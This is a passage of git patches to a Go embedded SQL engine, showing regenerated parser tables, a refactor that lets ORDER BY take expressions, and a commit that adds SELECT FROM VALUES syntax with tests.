158, -1000, + 156, -13, 157, 88, -1000, -1000, 356, 120, -1000, 156, + 155, 148, 146, 145, 85, 470, 463, -30, 60, -1000, + -61, 313, 501, 356, 543, 144, 147, 543, 516, 299, + -16, -17, -21, -22, 140, -24, 40, 13, 13, 263, + 263, 263, 191, -37, -1000, 225, -1000, 147, -27, -1000, + -31, -1000, 300, 147, 84, -1000, -35, -38, 75, 367, + -39, 59, 356, -1000, 47, -1000, 113, 120, -28, 526, + -74, -1000, -1000, 461, -1000, -1000, 526, 538, 537, 280, + 139, 280, 309, 147, 479, 313, -1000, 356, 197, 140, + -52, 508, -55, -59, 137, -60, -1000, -1000, -1000, 191, + -33, -1000, 278, 147, 147, 336, -1000, -1000, -1000, 106, + -1000, 147, 167, -91, -76, 120, -1000, -1000, -1000, -1000, + -1000, 133, -1000, 130, 127, 478, -32, -1000, -1000, -1000, + -1000, 147, 356, -36, 309, 333, -1000, 197, 349, -1000, + -1000, 140, 125, 140, 140, -66, 140, -67, -78, -1000, + 331, 356, 147, -68, 356, 423, -1000, 147, 122, 214, + 100, 98, -1000, -79, -1000, -1000, -1000, -1000, 371, 37, + -1000, 147, 356, -1000, -1000, 120, -1000, 329, -1000, 30, + -1000, -73, -1000, -1000, -1000, -1000, -1000, -1000, 147, 356, + -1000, 421, 271, 419, 228, -1000, 213, -96, -80, -1000, + 362, -32, -81, -82, 346, 326, 543, 140, 356, -36, + 428, 147, -1000, -1000, -1000, -1000, -1000, 360, -1000, -1000, + -1000, 302, 147, 119, 469, -1000, -86, -1000, 211, -1000, + 313, 324, 356, 36, -1000, 147, -1000, 428, 309, 147, + 119, 356, -1000, -1000, 34, 290, -1000, 147, -1000, -1000, + -1000, 290, -1000, } var yyPgo = [...]int16{ - 0, 582, 516, 581, 580, 579, 27, 578, 577, 14, - 20, 9, 576, 575, 574, 12, 15, 13, 573, 10, - 2, 572, 3, 571, 570, 11, 17, 461, 18, 569, - 568, 41, 567, 16, 566, 565, 7, 0, 564, 19, - 563, 562, 561, 560, 559, 6, 4, 558, 557, 556, - 555, 5, 554, 553, 1, 8, 454, 552, 551, 550, - 23, 549, 548, 21, 547, 320, 546, 545, + 0, 588, 519, 587, 586, 585, 27, 584, 583, 14, + 20, 7, 582, 581, 580, 8, 15, 12, 579, 10, + 578, 577, 3, 576, 575, 11, 16, 432, 21, 574, + 573, 41, 572, 13, 571, 570, 4, 0, 569, 18, + 568, 567, 566, 565, 564, 6, 2, 563, 562, 561, + 560, 5, 559, 558, 1, 9, 453, 557, 556, 555, + 19, 554, 553, 17, 552, 388, 551, 550, } var yyR1 = [...]int8{ @@ -523,8 +523,8 @@ var yyChk = [...]int16{ 107, 35, -57, 83, 84, 118, 116, 53, -15, 116, 116, -40, 60, 63, -55, -51, -11, -36, -37, 54, -53, 66, -37, -13, -22, 26, 116, 107, -45, 63, - 107, -37, -36, -46, -52, -20, -22, 107, -54, 67, - 68, -20, -54, + 107, -37, -36, -46, -52, -37, -22, 107, -54, 67, + 68, -37, -54, } var yyDef = [...]int16{ @@ -1468,7 +1468,7 @@ yydefault: where: yyDollar[8].exp, groupBy: yyDollar[9].cols, having: yyDollar[10].exp, - orderBy: yyDollar[11].ordcols, + orderBy: yyDollar[11].ordexps, limit: yyDollar[12].exp, offset: yyDollar[13].exp, } @@ -1734,12 +1734,12 @@ yydefault: case 157: yyDollar = yyS[yypt-0 : yypt+1] { - yyVAL.ordcols = nil + yyVAL.ordexps = nil } case 158: yyDollar = yyS[yypt-3 : yypt+1] { - yyVAL.ordcols = yyDollar[3].ordcols + yyVAL.ordexps = yyDollar[3].ordexps } case 159: yyDollar = yyS[yypt-0 : yypt+1] @@ -1754,12 +1754,12 @@ yydefault: case 161: yyDollar = yyS[yypt-2 : yypt+1] { - yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].sel, descOrder: yyDollar[2].opt_ord}} + yyVAL.ordexps = []*OrdExp{{exp: yyDollar[1].exp, descOrder: yyDollar[2].opt_ord}} } case 162: yyDollar = yyS[yypt-4 : yypt+1] { - yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].sel, descOrder: yyDollar[4].opt_ord}) + yyVAL.ordexps = append(yyDollar[1].ordexps, &OrdExp{exp: yyDollar[3].exp, descOrder: yyDollar[4].opt_ord}) } case 163: yyDollar = yyS[yypt-0 : yypt+1] @@ -1834,7 +1834,13 @@ yydefault: case 177: yyDollar = yyS[yypt-2 : yypt+1] { - yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} + i, isInt := yyDollar[2].exp.(*Integer) + if isInt { + i.val = -i.val + yyVAL.exp = i + } else { + yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} + } } case 178: yyDollar = yyS[yypt-4 : yypt+1] diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index b8025637d3..cdb96b9bb2 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1762,12 +1762,12 @@ type DeleteFromStmt struct { tableRef *tableRef where ValueExp indexOn []string - orderBy []*OrdCol + orderBy []*OrdExp limit ValueExp offset ValueExp } -func NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdCol, limit ValueExp) *DeleteFromStmt { +func NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdExp, limit ValueExp) *DeleteFromStmt { return &DeleteFromStmt{ tableRef: NewTableRef(table, ""), where: where, @@ -3182,7 +3182,7 @@ type SelectStmt struct { where ValueExp groupBy []*ColSelector having ValueExp - orderBy []*OrdCol + orderBy []*OrdExp limit ValueExp offset ValueExp as string @@ -3192,7 +3192,7 @@ func NewSelectStmt( targets []TargetEntry, ds DataSource, where ValueExp, - orderBy []*OrdCol, + orderBy []*OrdExp, limit ValueExp, offset ValueExp, ) *SelectStmt { @@ -3236,7 +3236,7 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string } if stmt.containsAggregations() || len(stmt.groupBy) > 0 { - for _, sel := range stmt.getSelectors() { + for _, sel := range stmt.targetSelectors() { _, isAgg := sel.(*AggColSelector) if !isAgg && !stmt.groupByContains(sel) { return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) @@ -3246,27 +3246,28 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string if len(stmt.orderBy) > 0 { for _, col := range stmt.orderBy { - sel := col.sel - _, isAgg := sel.(*AggColSelector) - if (isAgg && !stmt.containsSelector(sel)) || (!isAgg && len(stmt.groupBy) > 0 && !stmt.groupByContains(sel)) { - return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) + for _, sel := range col.exp.selectors() { + _, isAgg := sel.(*AggColSelector) + if (isAgg && !stmt.selectorAppearsInTargets(sel)) || (!isAgg && len(stmt.groupBy) > 0 && !stmt.groupByContains(sel)) { + return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) + } } } } return tx, nil } -func (stmt *SelectStmt) getSelectors() []Selector { +func (stmt *SelectStmt) targetSelectors() []Selector { if stmt.selectors == nil { stmt.selectors = stmt.extractSelectors() } return stmt.selectors } -func (stmt *SelectStmt) containsSelector(s Selector) bool { +func (stmt *SelectStmt) selectorAppearsInTargets(s Selector) bool { encSel := EncodeSelector(s.resolve(stmt.Alias())) - for _, sel := range stmt.getSelectors() { + for _, sel := range stmt.targetSelectors() { if EncodeSelector(sel.resolve(stmt.Alias())) == encSel { return true } @@ -3338,9 +3339,9 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin } if stmt.containsAggregations() || len(stmt.groupBy) > 0 { - if len(scanSpecs.groupBySortColumns) > 0 { + if len(scanSpecs.groupBySortExps) > 0 { var sortRowReader *sortRowReader - sortRowReader, err = newSortRowReader(rowReader, scanSpecs.groupBySortColumns) + sortRowReader, err = newSortRowReader(rowReader, scanSpecs.groupBySortExps) if err != nil { return nil, err } @@ -3359,7 +3360,7 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin } } - if len(scanSpecs.orderBySortCols) > 0 { + if len(scanSpecs.orderBySortExps) > 0 { var sortRowReader *sortRowReader sortRowReader, err = newSortRowReader(rowReader, stmt.orderBy) if err != nil { @@ -3412,48 +3413,55 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin return rowReader, nil } -func (stmt *SelectStmt) rearrangeOrdColumns(groupByCols, orderByCols []*OrdCol) ([]*OrdCol, []*OrdCol) { - if len(groupByCols) > 0 && len(orderByCols) > 0 && !ordColumnsHaveAggregations(orderByCols) { - if ordColsHasPrefix(orderByCols, groupByCols, stmt.Alias()) { - return orderByCols, nil +func (stmt *SelectStmt) rearrangeOrdExps(groupByCols, orderByExps []*OrdExp) ([]*OrdExp, []*OrdExp) { + if len(groupByCols) > 0 && len(orderByExps) > 0 && !ordExpsHaveAggregations(orderByExps) { + if ordExpsHasPrefix(orderByExps, groupByCols, stmt.Alias()) { + return orderByExps, nil } - if ordColsHasPrefix(groupByCols, orderByCols, stmt.Alias()) { - for i := range orderByCols { - groupByCols[i].descOrder = orderByCols[i].descOrder + if ordExpsHasPrefix(groupByCols, orderByExps, stmt.Alias()) { + for i := range orderByExps { + groupByCols[i].descOrder = orderByExps[i].descOrder } return groupByCols, nil } } - return groupByCols, orderByCols + return groupByCols, orderByExps } -func ordColsHasPrefix(cols, prefix []*OrdCol, table string) bool { +func ordExpsHasPrefix(cols, prefix []*OrdExp, table string) bool { if len(prefix) > len(cols) { return false } for i := range prefix { - if EncodeSelector(prefix[i].sel.resolve(table)) != EncodeSelector(cols[i].sel.resolve(table)) { + ls := prefix[i].AsSelector() + rs := cols[i].AsSelector() + + if ls == nil || rs == nil { + return false + } + + if EncodeSelector(ls.resolve(table)) != EncodeSelector(rs.resolve(table)) { return false } } return true } -func (stmt *SelectStmt) groupByOrdColumns() []*OrdCol { +func (stmt *SelectStmt) groupByOrdExps() []*OrdExp { groupByCols := stmt.groupBy - ordCols := make([]*OrdCol, 0, len(groupByCols)) + ordExps := make([]*OrdExp, 0, len(groupByCols)) for _, col := range groupByCols { - ordCols = append(ordCols, &OrdCol{sel: col}) + ordExps = append(ordExps, &OrdExp{exp: col}) } - return ordCols + return ordExps } -func ordColumnsHaveAggregations(cols []*OrdCol) bool { - for _, ordCol := range cols { - if _, isAgg := ordCol.sel.(*AggColSelector); isAgg { +func ordExpsHaveAggregations(exps []*OrdExp) bool { + for _, e := range exps { + if _, isAgg := e.exp.(*AggColSelector); isAgg { return true } } @@ -3461,7 +3469,7 @@ func ordColumnsHaveAggregations(cols []*OrdCol) bool { } func (stmt *SelectStmt) containsAggregations() bool { - for _, sel := range stmt.getSelectors() { + for _, sel := range stmt.targetSelectors() { _, isAgg := sel.(*AggColSelector) if isAgg { return true @@ -3507,7 +3515,7 @@ func (stmt *SelectStmt) Alias() string { } func (stmt *SelectStmt) hasTxMetadata() bool { - for _, sel := range stmt.getSelectors() { + for _, sel := range stmt.targetSelectors() { switch s := sel.(type) { case *ColSelector: if s.col == txMetadataCol { @@ -3523,15 +3531,15 @@ func (stmt *SelectStmt) hasTxMetadata() bool { } func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) (*ScanSpecs, error) { - groupByCols, orderByCols := stmt.groupByOrdColumns(), stmt.orderBy + groupByCols, orderByCols := stmt.groupByOrdExps(), stmt.orderBy tableRef, isTableRef := stmt.ds.(*tableRef) if !isTableRef { - groupByCols, orderByCols = stmt.rearrangeOrdColumns(groupByCols, orderByCols) + groupByCols, orderByCols = stmt.rearrangeOrdExps(groupByCols, orderByCols) return &ScanSpecs{ - groupBySortColumns: groupByCols, - orderBySortCols: orderByCols, + groupBySortExps: groupByCols, + orderBySortExps: orderByCols, }, nil } @@ -3578,20 +3586,20 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( orderByCols = nil } - groupByCols, orderByCols = stmt.rearrangeOrdColumns(groupByCols, orderByCols) + groupByCols, orderByCols = stmt.rearrangeOrdExps(groupByCols, orderByCols) return &ScanSpecs{ - Index: sortingIndex, - rangesByColID: rangesByColID, - IncludeHistory: tableRef.history, - IncludeTxMetadata: stmt.hasTxMetadata(), - DescOrder: descOrder, - groupBySortColumns: groupByCols, - orderBySortCols: orderByCols, + Index: sortingIndex, + rangesByColID: rangesByColID, + IncludeHistory: tableRef.history, + IncludeTxMetadata: stmt.hasTxMetadata(), + DescOrder: descOrder, + groupBySortExps: groupByCols, + orderBySortExps: orderByCols, }, nil } -func (stmt *SelectStmt) selectSortingIndex(groupByCols, orderByCols []*OrdCol, table *Table, rangesByColId map[uint32]*typedValueRange) *Index { +func (stmt *SelectStmt) selectSortingIndex(groupByCols, orderByCols []*OrdExp, table *Table, rangesByColId map[uint32]*typedValueRange) *Index { sortCols := groupByCols if len(sortCols) == 0 { sortCols = orderByCols @@ -3931,14 +3939,22 @@ type JoinSpec struct { indexOn []string } -type OrdCol struct { - sel Selector +type OrdExp struct { + exp ValueExp descOrder bool } -func NewOrdCol(table string, col string, descOrder bool) *OrdCol { - return &OrdCol{ - sel: NewColSelector(table, col), +func (oc *OrdExp) AsSelector() Selector { + sel, ok := oc.exp.(Selector) + if ok { + return sel + } + return nil +} + +func NewOrdCol(table string, col string, descOrder bool) *OrdExp { + return &OrdExp{ + exp: NewColSelector(table, col), descOrder: descOrder, } } @@ -4011,7 +4027,6 @@ func (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } - return v, nil } From 4cf4af7eca64f73a6b96bb21b4a23d2f9b98623f Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 29 Nov 2024 16:06:07 +0100 Subject: [PATCH 1058/1062] chore(embedded/sql): add support for SELECT FROM VALUES syntax Signed-off-by: Stefano Scafiti --- embedded/sql/engine_test.go | 80 ++++++ embedded/sql/sql_grammar.y | 5 + embedded/sql/sql_parser.go | 538 ++++++++++++++++++------------------ embedded/sql/stmt.go | 31 ++- 4 files changed, 386 insertions(+), 268 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index cfd351c853..78f812b6ce 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -3073,6 +3073,86 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) }) + + t.Run("query from values", func(t *testing.T) { + _, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT * FROM ( + VALUES + (1, 'foo'), + (2, true) + ) + `, + nil, + ) + require.ErrorContains(t, err, "cannot match types VARCHAR and BOOLEAN") + + _, err = engine.queryAll( + context.Background(), + nil, + ` + SELECT * FROM ( + VALUES + (@a), + (@b) + ) + `, + map[string]interface{}{"a": 1, "b": "test"}, + ) + require.ErrorContains(t, err, "cannot match types INTEGER and VARCHAR") + + rows, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT * FROM ( + VALUES + (1, 'foo', true, 1.22, '2024-11-29'::TIMESTAMP), + (2, 'bar', false, 1.25, '1996-09-11'::TIMESTAMP), + (3, 'baz', true, 2.50, '2000-01-01'::TIMESTAMP), + (4, 'qux', false, 3.75, '2010-05-15'::TIMESTAMP), + (5, 'quux', true, 0.99, '2022-12-31'::TIMESTAMP) + ) + `, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 5) + + expectedRows := []*Row{ + { + ValuesByPosition: []TypedValue{ + &Integer{1}, &Varchar{"foo"}, &Bool{true}, &Float64{1.22}, &Timestamp{time.Date(2024, 11, 29, 0, 0, 0, 0, time.UTC)}, + }, + }, + { + ValuesByPosition: []TypedValue{ + &Integer{2}, &Varchar{"bar"}, &Bool{false}, &Float64{1.25}, &Timestamp{time.Date(1996, 9, 11, 0, 0, 0, 0, time.UTC)}, + }, + }, + { + ValuesByPosition: []TypedValue{ + &Integer{3}, &Varchar{"baz"}, &Bool{true}, &Float64{2.50}, &Timestamp{time.Date(2000, 1, 1, 0, 0, 0, 0, time.UTC)}, + }, + }, + { + ValuesByPosition: []TypedValue{ + &Integer{4}, &Varchar{"qux"}, &Bool{false}, &Float64{3.75}, &Timestamp{time.Date(2010, 5, 15, 0, 0, 0, 0, time.UTC)}, + }, + }, + { + ValuesByPosition: []TypedValue{ + &Integer{5}, &Varchar{"quux"}, &Bool{true}, &Float64{0.99}, &Timestamp{time.Date(2022, 12, 31, 0, 0, 0, 0, time.UTC)}, + }, + }, + } + + for i, row := range rows { + require.Equal(t, expectedRows[i].ValuesByPosition, row.ValuesByPosition) + } + }) } func TestJSON(t *testing.T) { diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 18019ada07..fb29908ac8 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -804,6 +804,11 @@ ds: $1.as = $3 $$ = $1 } +| + '(' VALUES rows ')' + { + $$ = &valuesDataSource{inferTypes: true, rows: $3} + } | '(' dqlstmt ')' opt_as { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 577d737da6..bfe0d094d1 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -298,138 +298,139 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 97, - 78, 192, - 81, 192, - -2, 174, + 78, 193, + 81, 193, + -2, 175, -1, 268, - 59, 145, - -2, 140, - -1, 317, - 59, 145, - -2, 142, + 59, 146, + -2, 141, + -1, 318, + 59, 146, + -2, 143, } const yyPrivate = 57344 -const yyLast = 589 +const yyLast = 593 var yyAct = [...]int16{ - 131, 428, 310, 107, 335, 153, 262, 353, 350, 201, - 115, 207, 240, 316, 245, 241, 305, 296, 144, 147, - 198, 71, 395, 22, 341, 260, 340, 6, 260, 291, - 416, 260, 130, 260, 400, 399, 396, 379, 367, 106, - 342, 129, 300, 387, 99, 161, 260, 101, 370, 366, - 364, 118, 114, 212, 21, 261, 326, 324, 116, 117, - 354, 323, 96, 119, 321, 109, 110, 111, 112, 113, - 108, 154, 155, 157, 156, 158, 100, 290, 288, 355, - 178, 287, 105, 351, 106, 281, 259, 295, 280, 99, - 177, 177, 101, 275, 274, 161, 118, 114, 273, 272, - 167, 168, 247, 116, 117, 187, 170, 172, 119, 163, - 109, 110, 111, 112, 113, 108, 132, 149, 210, 211, - 213, 100, 161, 157, 156, 158, 215, 105, 238, 180, - 176, 186, 175, 169, 159, 160, 162, 143, 142, 24, - 145, 427, 236, 420, 381, 209, 203, 234, 154, 155, - 157, 156, 158, 216, 292, 217, 218, 219, 220, 221, - 222, 223, 214, 106, 200, 204, 291, 260, 99, 184, - 185, 101, 152, 83, 174, 118, 114, 239, 242, 237, - 178, 134, 116, 117, 286, 256, 205, 119, 249, 109, - 110, 111, 112, 113, 108, 235, 378, 230, 377, 338, - 100, 94, 337, 333, 251, 32, 105, 267, 250, 163, - 293, 229, 33, 76, 265, 238, 199, 268, 373, 106, - 276, 361, 277, 346, 99, 266, 345, 101, 279, 344, - 269, 118, 114, 325, 285, 308, 162, 270, 116, 117, - 148, 255, 254, 119, 253, 109, 110, 111, 112, 113, - 108, 252, 246, 248, 243, 226, 100, 196, 195, 188, - 181, 150, 105, 246, 312, 133, 122, 120, 294, 91, - 54, 80, 314, 161, 302, 320, 79, 78, 309, 75, - 70, 242, 69, 77, 330, 331, 160, 307, 206, 307, - 319, 376, 334, 161, 31, 58, 328, 394, 375, 154, - 155, 157, 156, 158, 22, 159, 160, 336, 327, 278, - 60, 393, 352, 161, 271, 166, 343, 356, 417, 154, - 155, 157, 156, 158, 165, 159, 160, 360, 306, 362, - 363, 358, 365, 369, 357, 21, 22, 225, 372, 154, - 155, 157, 156, 158, 224, 161, 227, 231, 65, 228, - 179, 121, 242, 161, 329, 22, 233, 429, 430, 90, - 56, 57, 59, 55, 382, 159, 160, 21, 411, 388, - 214, 386, 161, 283, 311, 284, 383, 263, 390, 154, - 155, 157, 156, 158, 159, 160, 21, 419, 39, 403, - 398, 385, 408, 405, 145, 407, 404, 406, 154, 155, - 157, 156, 158, 412, 49, 368, 402, 414, 359, 151, - 332, 52, 62, 161, 409, 397, 421, 418, 161, 88, - 425, 423, 422, 380, 426, 159, 160, 51, 431, 50, - 159, 160, 208, 432, 25, 82, 289, 92, 161, 154, - 155, 157, 156, 158, 154, 155, 157, 156, 158, 161, - 159, 160, 53, 64, 391, 389, 371, 10, 12, 11, - 338, 159, 160, 337, 154, 155, 157, 156, 158, 43, - 47, 189, 140, 192, 193, 154, 155, 157, 156, 158, - 13, 66, 67, 85, 86, 87, 190, 191, 137, 14, - 15, 301, 48, 258, 7, 415, 8, 9, 16, 17, - 257, 36, 18, 19, 348, 313, 182, 26, 30, 22, - 44, 135, 136, 123, 46, 45, 34, 84, 35, 2, - 81, 42, 124, 27, 29, 28, 264, 68, 38, 322, - 128, 127, 73, 74, 194, 183, 40, 297, 298, 299, - 21, 138, 125, 37, 63, 304, 303, 141, 139, 202, - 23, 232, 41, 347, 146, 164, 374, 392, 410, 424, - 339, 95, 93, 102, 384, 98, 282, 97, 401, 171, - 318, 317, 315, 126, 72, 89, 61, 173, 103, 104, - 349, 413, 197, 244, 20, 5, 4, 3, 1, + 131, 431, 311, 107, 339, 153, 262, 355, 323, 201, + 115, 207, 322, 240, 245, 241, 317, 297, 306, 6, + 198, 71, 144, 22, 400, 147, 345, 260, 344, 260, + 419, 292, 130, 401, 362, 392, 403, 260, 384, 106, + 372, 260, 129, 363, 99, 161, 346, 101, 260, 391, + 301, 118, 114, 212, 21, 375, 371, 261, 116, 117, + 356, 369, 96, 119, 330, 109, 110, 111, 112, 113, + 108, 154, 155, 157, 156, 158, 100, 328, 327, 357, + 24, 325, 105, 178, 106, 291, 289, 288, 282, 99, + 259, 324, 101, 177, 296, 281, 118, 114, 177, 276, + 167, 168, 275, 116, 117, 274, 170, 172, 119, 149, + 109, 110, 111, 112, 113, 108, 273, 132, 210, 211, + 213, 100, 161, 247, 187, 180, 215, 105, 176, 175, + 169, 186, 143, 142, 159, 160, 145, 161, 430, 423, + 238, 362, 293, 292, 260, 209, 203, 420, 154, 155, + 157, 156, 158, 216, 236, 217, 218, 219, 220, 221, + 222, 223, 214, 152, 200, 157, 156, 158, 106, 204, + 184, 185, 83, 99, 234, 174, 101, 239, 242, 237, + 118, 114, 205, 178, 134, 287, 256, 116, 117, 230, + 249, 235, 119, 383, 109, 110, 111, 112, 113, 108, + 382, 337, 294, 32, 251, 100, 94, 267, 250, 342, + 33, 105, 341, 106, 265, 229, 238, 268, 99, 163, + 277, 101, 278, 199, 76, 118, 114, 378, 280, 271, + 269, 266, 116, 117, 286, 366, 350, 119, 349, 109, + 110, 111, 112, 113, 108, 348, 162, 329, 309, 148, + 100, 255, 254, 253, 252, 246, 105, 248, 243, 226, + 196, 195, 188, 181, 313, 150, 133, 122, 295, 120, + 91, 54, 315, 246, 303, 321, 161, 80, 79, 308, + 310, 308, 242, 78, 75, 334, 335, 70, 159, 160, + 320, 69, 31, 338, 77, 206, 22, 332, 166, 58, + 399, 331, 154, 155, 157, 156, 158, 165, 340, 381, + 231, 279, 398, 354, 60, 272, 380, 347, 358, 163, + 353, 225, 179, 161, 65, 242, 227, 21, 224, 228, + 121, 365, 161, 367, 368, 360, 370, 374, 364, 359, + 432, 433, 377, 333, 159, 160, 162, 284, 270, 285, + 233, 90, 55, 39, 414, 161, 22, 312, 154, 155, + 157, 156, 158, 161, 56, 57, 59, 159, 160, 49, + 263, 390, 214, 389, 393, 159, 160, 422, 386, 406, + 388, 154, 155, 157, 156, 158, 64, 21, 395, 154, + 155, 157, 156, 158, 145, 405, 307, 411, 408, 407, + 410, 361, 409, 151, 22, 52, 415, 62, 373, 412, + 417, 402, 385, 336, 66, 67, 161, 88, 51, 424, + 421, 161, 50, 428, 426, 425, 25, 429, 159, 160, + 82, 434, 92, 159, 160, 21, 435, 140, 396, 290, + 394, 161, 154, 155, 157, 156, 158, 154, 155, 157, + 156, 158, 161, 159, 160, 124, 208, 376, 189, 161, + 10, 12, 11, 342, 159, 160, 341, 154, 155, 157, + 156, 158, 160, 43, 47, 302, 53, 258, 154, 155, + 157, 156, 158, 13, 257, 154, 155, 157, 156, 158, + 192, 193, 14, 15, 190, 191, 48, 7, 137, 8, + 9, 16, 17, 418, 352, 18, 19, 85, 86, 87, + 26, 30, 22, 314, 44, 36, 182, 123, 46, 45, + 84, 135, 136, 81, 264, 42, 27, 29, 28, 68, + 34, 2, 35, 38, 326, 128, 127, 73, 74, 194, + 40, 183, 305, 21, 298, 299, 300, 138, 37, 125, + 304, 141, 139, 202, 23, 232, 63, 41, 351, 146, + 164, 379, 397, 413, 427, 343, 95, 93, 102, 387, + 98, 283, 97, 404, 171, 319, 318, 316, 126, 72, + 89, 61, 173, 103, 104, 416, 197, 244, 20, 5, + 4, 3, 1, } var yyPact = [...]int16{ - 453, -1000, -1000, 25, -1000, -1000, -1000, 392, -1000, -1000, - 500, 198, 493, 520, 465, 465, 382, 380, 353, 174, - 293, 272, 355, -1000, 453, -1000, 269, 269, 269, 502, - 186, -1000, 184, 516, 183, 187, 181, 180, 175, 494, - 395, 66, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 491, - 174, 174, 174, 368, -1000, 288, -1000, -1000, 173, -1000, - 398, 91, -1000, -1000, 171, 274, 170, 487, 269, 533, - -1000, -1000, 512, 12, 12, -1000, 169, 76, -1000, 483, - 532, 541, -1000, 465, 540, 23, 22, 333, 144, 248, - -1000, -1000, 165, 351, -1000, 65, 40, 238, -1000, 147, - 147, 18, -1000, -1000, -1000, 147, 147, 68, 17, -1000, - -1000, -1000, -1000, -1000, 15, -1000, -1000, -1000, -1000, -25, - -1000, 270, 14, 164, 480, 525, -1000, 12, 12, -1000, - 147, 356, -1000, -10, 163, 440, 456, 442, 524, 162, - -1000, 161, 120, 120, 543, 147, 79, -1000, 193, -1000, - -1000, 30, 147, -1000, 147, 147, 147, 147, 147, 147, - 147, 260, -1000, 159, 268, 114, -1000, 191, 13, 248, - 231, 283, 356, 41, 95, 32, 147, 147, 158, -1000, - 156, -13, 157, 88, -1000, -1000, 356, 120, -1000, 156, - 155, 148, 146, 145, 85, 470, 463, -30, 60, -1000, - -61, 313, 501, 356, 543, 144, 147, 543, 516, 299, - -16, -17, -21, -22, 140, -24, 40, 13, 13, 263, - 263, 263, 191, -37, -1000, 225, -1000, 147, -27, -1000, - -31, -1000, 300, 147, 84, -1000, -35, -38, 75, 367, - -39, 59, 356, -1000, 47, -1000, 113, 120, -28, 526, - -74, -1000, -1000, 461, -1000, -1000, 526, 538, 537, 280, - 139, 280, 309, 147, 479, 313, -1000, 356, 197, 140, - -52, 508, -55, -59, 137, -60, -1000, -1000, -1000, 191, - -33, -1000, 278, 147, 147, 336, -1000, -1000, -1000, 106, - -1000, 147, 167, -91, -76, 120, -1000, -1000, -1000, -1000, - -1000, 133, -1000, 130, 127, 478, -32, -1000, -1000, -1000, - -1000, 147, 356, -36, 309, 333, -1000, 197, 349, -1000, - -1000, 140, 125, 140, 140, -66, 140, -67, -78, -1000, - 331, 356, 147, -68, 356, 423, -1000, 147, 122, 214, - 100, 98, -1000, -79, -1000, -1000, -1000, -1000, 371, 37, - -1000, 147, 356, -1000, -1000, 120, -1000, 329, -1000, 30, - -1000, -73, -1000, -1000, -1000, -1000, -1000, -1000, 147, 356, - -1000, 421, 271, 419, 228, -1000, 213, -96, -80, -1000, - 362, -32, -81, -82, 346, 326, 543, 140, 356, -36, - 428, 147, -1000, -1000, -1000, -1000, -1000, 360, -1000, -1000, - -1000, 302, 147, 119, 469, -1000, -86, -1000, 211, -1000, - 313, 324, 356, 36, -1000, 147, -1000, 428, 309, 147, - 119, 356, -1000, -1000, 34, 290, -1000, 147, -1000, -1000, - -1000, 290, -1000, + 456, -1000, -1000, -34, -1000, -1000, -1000, 384, -1000, -1000, + 503, 196, 507, 525, 469, 469, 375, 371, 347, 175, + 282, 276, 350, -1000, 456, -1000, 245, 245, 245, 504, + 195, -1000, 191, 521, 188, 198, 187, 182, 181, 497, + 390, 65, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 494, + 175, 175, 175, 366, -1000, 280, -1000, -1000, 174, -1000, + 393, 96, -1000, -1000, 173, 253, 171, 491, 245, 540, + -1000, -1000, 517, 12, 12, -1000, 170, 79, -1000, 493, + 538, 545, -1000, 469, 544, 18, 17, 333, 153, 240, + -1000, -1000, 169, 345, -1000, 56, 250, 221, -1000, 141, + 141, 15, -1000, -1000, -1000, 141, 141, 69, 14, -1000, + -1000, -1000, -1000, -1000, 13, -1000, -1000, -1000, -1000, -22, + -1000, 242, 10, 167, 490, 531, -1000, 12, 12, -1000, + 141, 359, -1000, 9, 166, 427, 464, 459, 529, 165, + -1000, 164, 127, 127, 547, 141, 75, -1000, 200, -1000, + -1000, 30, 141, -1000, 141, 141, 141, 141, 141, 141, + 141, 244, -1000, 163, 248, 118, -1000, 377, 55, 240, + 194, 277, 359, 68, 91, 44, 141, 141, 162, -1000, + 159, 8, 161, 90, -1000, -1000, 359, 127, -1000, 159, + 158, 157, 156, 155, 86, 454, 447, -26, 37, -1000, + -59, 306, 499, 359, 547, 153, 141, 547, 521, 300, + 1, -10, -13, -16, 150, -17, 250, 55, 55, 241, + 241, 241, 377, -37, -1000, 227, -1000, 141, -20, -1000, + -28, -1000, 274, 141, 85, -1000, -29, -30, 78, 370, + -31, 36, 359, -1000, 